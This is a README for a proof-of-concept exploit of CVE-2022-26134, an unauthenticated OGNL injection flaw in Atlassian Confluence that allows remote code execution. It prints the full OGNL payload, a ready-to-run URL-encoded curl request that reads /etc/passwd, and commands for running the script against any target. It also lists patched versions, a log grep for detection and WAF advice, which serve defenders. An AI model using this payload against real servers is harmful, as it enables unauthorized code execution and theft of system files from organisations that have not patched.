CVE-2022-26134 PoC — Atlassian Confluence Server 注入漏洞

Source

Associated Vulnerability

Description

Atlassian Confluence (CVE-2022-26134) - Unauthenticated OGNL injection vulnerability (RCE).

Readme

### CVE-2022-26134 - OGNL injection vulnerability:

Script proof of concept that exploits the remote code execution vulnerability affecting Atlassian Confluence 7.18 and lower products. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.


### Affected versions:

All supported versions of Confluence Server and Data Center are affected.<br>
Confluence Server and Data Center versions after 1.3.0 and bellow 7.18.1 are affected.<br>
The vulnerability has a CVSS score of 10 out of 10 for criticality.<br>

### Dependencies:
- Python 3.3+
- The dependencies can be satisfied via 

```python
pip install -r requirements.txt
```

### How to use:

Clone the repo:
```bash
git clone https://github.com/Nwqda/CVE-2022-26134
cd CVE-2022-26134
```

Then you can run the exploit with the command of your choice as follow:
```python
python3 cve-2022-26134.py https://target.com "id"
python3 cve-2022-26134.py https://target.com "ps aux"
python3 cve-2022-26134.py https://target.com "cat /etc/passwd"
```

 ### Payload:
 
 ```java
 ${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
 ```
 

### Example with CURL command:
```bash
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D" 
```

Then, the result of the command will be reflected in the parameter `X-Cmd-Response` in the response header. 

### Mitigations guidelines from vendors:

Follow the official recommendations from Atlassian:<br>
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

### Patching:

Atlassian has released an advisory for their products affected by this CVE, which you can read [here](https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html). To resolve the issue, you need to upgrade your Confluence version. The suggested list at the time of publication is:

   - 7.4.17
   - 7.13.7
   - 7.14.3
   - 7.15.2
   - 7.16.4
   - 7.17.4
   - 7.18.1

### Detection - Log Files:

Confluence is an Apache Tomcat server which has logging located in ```/opt/atlassian/confluence/logs```. You can use commands like grep to search for HTTP GET requests of payloads that are using Java runtime to execute commands. For example:

    
   ``` grep -R "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22" ``` in catalina.out
    

### Detect capabilities:
This vulnerability affects all self-hosted instances. If you use a WAF you can block URLS with `${` inside.

YARA (by Volexity): https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar

### Additional Reading Material:

- [NIST National Vulnerability Database Entry (CVE-2022-26134)](https://nvd.nist.gov/vuln/detail/CVE-2022-26134)
- [Hunting for Confluence RCE [CVE-2022–26134]](https://medium.com/@th3b3ginn3r/hunting-for-cve-2022-26134-confluence-rce-on-linux-server-ae9ce0176b4a)
- [Exploring and remediating the Confluence RCE](https://www.datadoghq.com/blog/confluence-vulnerability-overview-and-remediation/)
- [What is OGNL Injection?](https://www.contrastsecurity.com/glossary/ognl-injection-ognl)
- [Citrix: Guidance for reducing unauthenticated OGNL injection RCE](https://www.citrix.com/blogs/2022/06/09/reducing-unauthenticated-ognl-injection-security-vulnerability-risk-cve-2022-26134/)
- [Exploring OGNL Injection in Apache Struts](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts)


### Note:
FOR EDUCATIONAL PURPOSE ONLY.<br><br>
![CVE-2022-26134 meme fire](https://pbs.twimg.com/media/FUUb6YrWAAETahZ?format=jpg&name=small)

File Snapshot

 [4.0K]  /data/pocs/c8f90b3b3a88c292a5ea78ffa691e02f00c7043e
├── [3.8K]  cve-2022-26134.py
├── [ 34K]  LICENSE
├── [4.1K]  README.md
└── [  20]  requirements.txt

0 directories, 4 files

Remarks